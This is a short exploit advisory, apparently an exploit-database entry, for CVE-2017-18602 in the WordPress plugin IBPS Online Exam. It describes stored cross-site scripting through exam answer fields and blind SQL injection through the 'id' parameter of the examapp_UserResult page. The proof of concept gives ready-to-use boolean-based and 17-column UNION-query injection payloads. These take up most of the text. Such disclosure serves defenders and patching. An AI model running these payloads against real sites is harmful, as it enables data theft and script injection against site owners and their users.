WordPress Plugin IBPS Online Exam <= 1.0 – Authenticated SQL Injection / Cross-Site Scripting | CVE 2017-18602

Description

Exploit Author: 8bitsec
Contact Author: https://twitter.com/_8bitsec

Stored XSS on exam input textfields and Blind SQL Injection on 'examapp_UserResult' page 'id' parameter.

Proof of Concept

* Authenticated Stored XSS:
 
Logged as a student:
Write the payload in the input textfields while attempting an exam. The payload will execute on My Results > View Details:
https://localhost/wp-admin/admin.php?page=examapp_UserResult&info=view&id=[xx]
 
* Blind SQL Injection
 
Logged in as a student:
 
https://localhost/wp-admin/admin.php?page=examapp_UserResult&info=view&id=79 and 1=1
 
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=examapp_UserResult&info=view&id=78 AND 6705=6705
 
    Type: UNION query
    Title: Generic UNION query (NULL) - 17 columns
    Payload: page=examapp_UserResult&info=view&id=-4748 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178716b71,0x6b4c5247597261614e73447378544741764b4f7172597a5a58494551685a7056644d6e595773496e,0x7162787671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- KttP